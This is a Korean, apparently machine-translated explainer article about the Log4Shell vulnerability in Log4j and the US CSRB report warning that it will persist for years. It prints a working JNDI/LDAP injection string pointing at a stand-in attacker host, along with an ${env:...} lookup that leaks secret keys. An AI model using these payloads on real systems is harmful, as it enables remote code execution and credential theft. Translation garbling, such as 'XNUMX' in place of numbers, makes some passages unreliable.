8개월 후, 미국은 Log4Shell이 ​​"XNUMX년 또는 그 이상" 동안 존재할 것이라고 말합니다.

생각해 내다 Log4Shell?

그것은 유명한 오픈 소스 Java 프로그래밍 툴킷의 위험한 버그였습니다. 로그4j, "Logging for Java"의 줄임말로 Apache Software Foundation에서 무료 소스 코드 라이선스로 발행했습니다.

Windows 랩톱의 가장 간단한 BAT 파일부터 전체 서버 랙에서 실행되는 가장 거친 메가 응용 프로그램에 이르기까지 모든 종류의 소프트웨어를 작성한 적이 있다면 로깅 명령을 사용했을 것입니다.

다음과 같은 기본 출력에서 echo "Starting calculations (this may take a while)" 감사 또는 규정 준수를 위해 한 번 쓰기 데이터베이스에 저장된 형식적인 메시지에 이르기까지 화면에 인쇄되는 모든 방법에 이르기까지 로깅은 대부분의 프로그램에서 중요한 부분입니다. 특히 문제가 발생하고 이전에 얼마나 도달했는지에 대한 명확한 기록이 필요할 때 문제 히트.

Log4Shell 취약점 (사실, 몇 가지 관련 문제가 있는 것으로 밝혀졌지만 여기서는 단순화를 위해 모두 하나의 큰 문제인 것처럼 취급할 것입니다.) 절반은 버그, 절반은 기능으로 밝혀졌습니다.

다시 말해서, Log4j는 버퍼 오버플로와 같은 버그와 달리 매뉴얼에서 말한 대로 했습니다. 문제가 되는 프로그램이 혼자 남겨두겠다고 약속한 데이터를 잘못 엉망으로 만들려고 하는 것입니다…

...하지만 설명서를 정말 주의 깊게 읽고 Log4j 위에 신중한 입력 확인 계층을 추가하여 추가 예방 조치를 취하지 않으면 소프트웨어가 제대로 작동하지 않을 수 있습니다.

정말, 심하게, 완전히 고정되지 않았습니다.

유해한 것으로 간주되는 보간

간단히 말해서, Log4j는 항상 사용자가 제공한 대로 정확하게 로그 메시지를 기록하지 않았습니다.

대신 전문용어에서 다음과 같이 다양하고 혼란스럽게 알려진 "기능"이 있었습니다. 보간법, 명령 대체 or 자동 재작성, 그렇게 하기 위해 특별한 코드를 작성하지 않고도 로깅 유틸리티 자체 내에서 텍스트 조작 기능을 트리거할 수 있습니다.

예를 들어, 아래 INPUT 열의 텍스트는 실제로 보이는 그대로 문자 그대로 기록됩니다. 이는 특히 사용자가 제공한 입력 데이터의 정확한 기록을 유지하려는 경우 로깅 툴킷에서 기대할 수 있는 것입니다. 규제상의 이유로:

입력 결과 ----------------------- ------------------------ 사용자 이름 =duck -> USERNAME=duck Caller-ID:555-555-5555 -> Caller-ID:555-555-5555 현재 버전 = 17.0.1 -> 현재 버전 = 17.0.1

그러나 매직 문자 시퀀스로 래핑된 텍스트를 제출한 경우 ${...}, 로거는 텍스트를 수신한 후 실제로 다음과 같이 로그 파일에 쓰기 전에 스마트한 작업을 수행하는 경우가 있습니다.

입력 결과 ---------------------------------- -------------- ----------------------------- CURRENT=${java:version}/${java:os} -> CURRENT=자바 버전 17.0.1/Windows 10 10.0 서버 계정: ${env:USER} -> 서버 계정: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

분명히, 신뢰할 수 있는 소스에서 로깅 텍스트를 수락하는 경우 로기가 일반 텍스트를 내부 데이터로 바꾸도록 지시하여 로거를 제어하도록 허용하는 것이 합리적인 경우 이러한 종류의 텍스트 재작성이 유용합니다.

그러나 목표가 원격 사용자가 제출한 데이터를 추적하는 것이라면(아마도 규제 기록 유지 목적으로) 이러한 종류의 자동 재작성은 두 배로 위험합니다.

• 분쟁이 발생한 경우, 입력과 출력 사이에 수정되었을 수 있다는 점을 감안하면 사용자가 실제로 제출한 내용에 대한 신뢰할 수 있는 기록이 없습니다.
• 악의적인 사용자가 교묘하게 구성된 입력을 보낼 수 있음 서버가 해서는 안 되는 일을 하도록 자극하기 위해서입니다.

브라우저 식별 문자열과 같은 사용자 입력을 기록하는 경우 다음과 같이 말합니다. User-Agent) 또는 사용자 이름이나 전화 번호를 사용하여 개인 데이터(예: 위의 예에서 AWS_ACCESS_KEY_ID와 같은 메모리 전용 암호 문자열)를 영구 로그 파일에 쓰도록 사용자를 속여서는 안 됩니다.

특히 감사자나 규제 기관에 자신 있게 일반 텍스트 암호를 영구 저장소에 쓰지 않는다고 자신 있게 말한 경우에는 더욱 그렇습니다. (너 이러면 안 된다, 공식적으로 규제 기관에 알리지 않았더라도 그렇게 하지 않습니다!)

더 나빠질 것

그러나 Log4Shell이 ​​버그이거나 기능인지의 경우에는 위에서 보여준 이미 위험한 예보다 상황이 훨씬 더 나빴습니다.

예를 들어, 아래 표시된 입력과 같이 의도적으로 데이터를 제출한 사용자는 정말 위험한 일련의 이벤트를 트리거할 수 있습니다.

입력 결과 ------------------------------------------------ ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> 원격 자바 프로그램 다운로드 및 실행!?

위의 "보간" 문자열에서 ${...} 약어를 포함하는 문자 시퀀스 jndi 및 ldap Log4j에게 다음과 같이 지시했습니다.

• JNDI(Java 이름 지정 및 디렉토리 인터페이스) 사용 찾아 내기 dodgy.server.example 온라인.
• LDAP를 통해 해당 서버에 연결합니다. TCP 포트 8888을 사용합니다.
• 데이터 요청 LDAP 객체에 저장 BadThing.

즉, 공격자는 서버에 "집으로 전화"하도록 지시하는 특수하게 조작된 입력을 제출할 수 있습니다. 자신이 관리하는 서버에, 휴가 없이.

이것이 어떻게 "기능"이 될 수 있습니까?

이와 같은 "기능"이 어떻게 Log4j 코드에 포함되었는지 궁금할 것입니다.

그러나 이러한 종류의 텍스트 재작성은 신뢰할 수 있는 소스에서 데이터를 기록하는 한 유용할 수 있습니다.

예를 들어 숫자로 된 사용자 ID를 기록할 수 있지만 로거에게 LDAP( 경량 디렉토리 액세스 프로토콜, Microsoft의 Active Directory 시스템을 포함하여 업계에서 널리 사용됨)을 사용하여 당시 해당 계정 번호와 연결된 사용자 이름을 검색하고 저장합니다.

이렇게 하면 로그 파일에 있는 항목의 가독성과 기록 값이 모두 향상됩니다.

그러나 위의 예에서 Log4j가 호출한 LDAP 서버(원격 사용자가 선택한, 잊지 마세요)는 진실을 알 수 없을 것 같으며, 따라서 악의적인 사용자는 이 트릭을 사용할 수 있습니다. 가짜 데이터와 법적으로 의심스러운 데이터가 포함된 로그.

더 나쁜 것은 LDAP 서버 기록할 데이터를 생성하기 위해 미리 컴파일된 Java 코드를 반환할 수 있습니다., 그리고 당신의 서버는 그 프로그램을 충실히 실행할 것입니다. 신뢰할 수 없는 사용자가 선택한 신뢰할 수 없는 서버에서 제공하는 알 수 없는 프로그램입니다.

느슨하게 말해서, 네트워크의 어느 곳에서든 서버가 외부에서 들어온 신뢰할 수 없는 입력을 기록하고 Log4j를 사용하여 그렇게 했다면…

...그 입력은 서버를 속여서 다른 사람의 코드를 실행하도록 하는 직접적이고 즉각적인 방법으로 사용될 수 있습니다.

그건 경찰과 전문용어로는 원격 코드 실행, RCE 버그는 일반적으로 악성코드를 자동으로 삽입하기 위해 악용될 수 있기 때문에 사이버 범죄자가 가장 많이 찾는 버그입니다.

불행히도 이 버그의 특성은 위험이 인터넷 연결 서버에만 국한되지 않았음을 의미하므로 Java가 아닌 C로 작성된 웹 서버(예: IIS, Apache https, nginx)를 사용하므로 자체적으로 버그를 사용하지 않았습니다. Log4j 코드는 당신을 위험에서 해방시키지 못했습니다.

이론적으로 네트워크의 다른 곳에서 데이터를 수신 및 기록하고 Log4j 라이브러리를 사용하는 모든 백엔드 Java 앱은…

… 외부 공격자가 접근하여 악용할 수 있습니다.

수정은 매우 간단했습니다.

• 의 이전 버전 찾기 Log4j 네트워크의 모든 곳에서. Java 모듈에는 일반적으로 다음과 같은 이름이 있습니다. log4j-api-2.14.0.jar 및 log4j-core-2.14.0.jar어디로 jar 에 대한 짧은 자바 아카이브, 특별히 구조화된 일종의 ZIP 파일입니다. 검색 가능한 접두사, 최종 확장자 및 파일 이름에 포함된 버전 번호를 사용하면 Java 라이브러리 코드의 "잘못된" 버전으로 문제가 되는 파일을 빠르게 찾는 것이 실제로 상당히 쉽습니다.
• 버그 버전 교체 더 새롭고 패치된 것들로.
• Log4J 버전을 변경할 위치에 있지 않았다면, 버그가 있는 Log4j 패키지(위에서 설명한 JNDI 조회를 처리하는 Java 코드)에서 단일 코드 모듈을 제거하고 버그가 억제된 자체 축소 JAR 파일을 다시 패키징하여 위험을 줄이거나 제거할 수 있습니다.

사가는 계속

안타깝게도 최근, 상세한 보고서 지난 주 미국에서 발표한 Log4Shell 사가에 대해 사이버 보안 검토 위원회 국토안보부의 일부인 (CSRB)에는 다음과 같은 우려스러운 제안(아래 강조)이 포함되어 있습니다.

[The]Log4j 이벤트는 끝나지 않았습니다. [CSRB]는 Log4j가 "고통적인 취약점"이며 Log4j의 취약한 인스턴스가 앞으로 몇 년 동안 시스템에 남아 있을 것이라고 평가합니다. 아마도 XNUMX년 이상. 상당한 위험이 남아 있습니다.

무엇을해야 하는가?

42페이지(개요 요약만 해도 거의 XNUMX페이지에 달함), 이사회 보고서 긴 문서이며 일부는 계속 진행 중입니다.

그러나 빠르고 쉽게 해결할 수 있어야 하는 사이버 보안 문제가 무시되거나 나중에 미루어지거나 완전히 "다른 사람의 문제"인 것처럼 완전히 거부될 수 있다는 매혹적인 이야기이기 때문에 끝까지 읽을 것을 권장합니다. 문제"를 수정합니다.

우리가 진심으로 지지하는 미국 공공 서비스의 주목할만한 제안은 다음과 같습니다.

• 정확한 정보 기술(IT) 자산 및 애플리케이션 인벤토리를 유지 관리하는 능력을 개발합니다.
• [설정 a] 문서화 취약점 대응 프로그램.
• [설정] 문서화된 취약성 공개 및 처리 프로세스.

사이버 보안과 관련하여 다른 사람들이 당신을 위해 무엇을 할 수 있는지 묻지 마십시오…

...하지만 스스로 무엇을 할 수 있는지 생각해 보십시오. 다른 모든 사람에게 이익 뿐만 아니라.

---

[포함 된 콘텐츠]

---